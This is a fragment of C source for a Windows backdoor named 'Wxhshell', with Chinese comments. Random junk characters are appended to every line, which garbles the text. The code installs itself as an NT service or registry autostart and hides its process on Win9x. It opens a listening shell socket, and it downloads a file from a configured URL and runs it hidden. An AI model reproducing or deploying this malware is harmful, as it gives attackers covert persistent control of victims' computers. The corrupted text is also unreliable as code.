ULONG InheritedFromUniqueProcessId; gRk%ObJGqm
} PROCESS_BASIC_INFORMATION; UKBVCAK
}w0>mA0=H
PROCNTQSIP NtQueryInformationProcess; xMAfa>]{n
Iq@: n_~
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZZ<uiN$
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y7;i4::A\
bF#* cH
HANDLE hProcess;
$rAHtr
PROCESS_BASIC_INFORMATION pbi; vakAl;
$\0%"S
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PfaBzi9?f
if(NULL == hInst ) return 0; J;K-Pv+
f
xWW"B*A
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0'giAA
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %V>Ss9;/8
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NDJIaX:]
(o!v,=# 6{
if (!NtQueryInformationProcess) return 0; ],lrT0_cT
t(O{IUYM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `kn 'RZR
if(!hProcess) return 0; oJcDs-!
.o(XnY)cgJ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1e 8J-Nkj
+J^-B}v
CloseHandle(hProcess); yEnurq%J
%6\e_y%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X*'tJN$
if(hProcess==NULL) return 0; HAHv^
Oie0cz:>:
HMODULE hMod; X}~5%B(
char procName[255]; vPm&0,R*y:
unsigned long cbNeeded; c~@Z
-'j_JJ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q K sI}X~
R. sRH/6
CloseHandle(hProcess); {9tKq--@E9
F__j]}?
if(strstr(procName,"services")) return 1; // 以服务启动 x<m{B@3T
R6^U9fDG
return 0; // 注册表启动 dE<}X7J%
} r[
UZHX5+S
.Ulrv5wJ
// 主模块 1@&i
ju5
int StartWxhshell(LPSTR lpCmdLine) bbDl?m&bq
{ xz-z"
8d
SOCKET wsl; p)5j~Nl
BOOL val=TRUE; uM!$`JN
int port=0; 5'JONw'\
struct sockaddr_in door; cmpT_51~O
\`H"4r[?(
if(wscfg.ws_autoins) Install(); BT|5"b}
'W!N1W@
port=atoi(lpCmdLine); -^C't_Q o
K,uTO7Mk[
if(port<=0) port=wscfg.ws_port; G~SgI>Q
RoV^sbWFt
WSADATA data; ,G";ny[$
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,/d
R
Mw=sW5Z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; AS 5\X.%L*
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aR3R,6ec
door.sin_family = AF_INET; ^
:%"Z&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,QDS_u$xi&
door.sin_port = htons(port); n|t?MoUP
_/@VV5Mq
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :6~DOvY
closesocket(wsl); Who7{|M\'
return 1; X67.%>#3
} 3~zK :(
80PlbUBb!
if(listen(wsl,2) == INVALID_SOCKET) { aNZJs<3;'D
closesocket(wsl); mcbr3P
return 1; / v";u)
} 5|&:l8=
Wxhshell(wsl); oV4+w_rrLc
WSACleanup(); Ix+===6
KmuE#Ia
return 0; @,Je*5$o"
3|$>2IRq
} 5hNjJqu
JsNqijVC
// 以NT服务方式启动 6kW <i,A
-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +&LzLF.bK
{ ]1A"l!yf
DWORD status = 0; Gp=X1 F
DWORD specificError = 0xfffffff; \(y6o}aW
x/nlIoT
serviceStatus.dwServiceType = SERVICE_WIN32; ]Lc:M'V#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; fz%I'+!
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'r KDw06/
serviceStatus.dwWin32ExitCode = 0; | aH;@V
serviceStatus.dwServiceSpecificExitCode = 0; "=cWcztiP
serviceStatus.dwCheckPoint = 0; "][MCVYP
serviceStatus.dwWaitHint = 0; JCjQR`)
19 h7 M
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IR*g>q
if (hServiceStatusHandle==0) return; Q'f!392|
GF6c6TXF@
status = GetLastError(); n^8LF9r
if (status!=NO_ERROR) l0cws`V
{ >KjyxJ7
serviceStatus.dwCurrentState = SERVICE_STOPPED; +y!B`'J
serviceStatus.dwCheckPoint = 0; t`b>iX%(1t
serviceStatus.dwWaitHint = 0; e:9CD-
serviceStatus.dwWin32ExitCode = status; mZ;W$y SO
serviceStatus.dwServiceSpecificExitCode = specificError; kV@*5yc?R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7aH E:Dnwp
return; nSH
A,c
} qaBjV6loy
)^+v*=Dc-i
serviceStatus.dwCurrentState = SERVICE_RUNNING; !"u) `I2
serviceStatus.dwCheckPoint = 0; \tc`Aj%K
serviceStatus.dwWaitHint = 0; 7
4rmxjiN
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "hRw_<
} h:QKd!Gq
O=os ,'"
// 处理NT服务事件,比如:启动、停止 ien >Ou
VOID WINAPI NTServiceHandler(DWORD fdwControl) H-%)r&"vn
{ |RqCw7
switch(fdwControl) Wc4K?3 ZM
{ Q1qf'u
case SERVICE_CONTROL_STOP: .Z=D|&!
serviceStatus.dwWin32ExitCode = 0; F^kH"u[
serviceStatus.dwCurrentState = SERVICE_STOPPED; {;4AdZk
serviceStatus.dwCheckPoint = 0; s&S8P;K|
serviceStatus.dwWaitHint = 0; [3`T/Wm
{ m
ys5B}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /kL X
f_
} azMrY<
return; zn5
case SERVICE_CONTROL_PAUSE: ARYqX\-e
serviceStatus.dwCurrentState = SERVICE_PAUSED; 1
O+4A[cr
break; 3=xb%Upw
case SERVICE_CONTROL_CONTINUE: 't=\YFQ*v
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8:,E=swe
break; c@:L7#8
case SERVICE_CONTROL_INTERROGATE: gH-e0134%
break; gkS#=bv9e@
}; WSfla~-'F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c8mcJAc
} jh.W$.Oq
b7>^w<ki
// 标准应用程序主函数 Xr~6_N{J
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q4vu r>m6
{ 0 3L"W^gc
xKKL4ws
// 获取操作系统版本 T{u!4Yu
OsIsNt=GetOsVer(); 9&5\L
GetModuleFileName(NULL,ExeFile,MAX_PATH); TEOV>Tt
NUBzm nA>8
// 从命令行安装 QLo^6S5!
if(strpbrk(lpCmdLine,"iI")) Install(); z^9Yoqog
zcItZP
// 下载执行文件 .['@:}$1
if(wscfg.ws_downexe) { NLM ]KT
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MrjET!`.jC
WinExec(wscfg.ws_filenam,SW_HIDE); zmy94Y5PE
} &NV[)6!
/_E:sI9(
if(!OsIsNt) { cH6ie?KvAo
// 如果时win9x,隐藏进程并且设置为注册表启动 ^pMjii8IZ
HideProc(); }(O/ y-
StartWxhshell(lpCmdLine); {s|rk
} vOsd>3"
else HTI1eLZ2
if(StartFromService()) ~u1ox_v`%(
// 以服务方式启动 j~V@0z.
StartServiceCtrlDispatcher(DispatchTable); CFqoD l
else ]9)pFL
// 普通方式启动 <5/r
StartWxhshell(lpCmdLine); "s2?cQv{#
"|`8mNC
return 0; ` 1DJwe2
}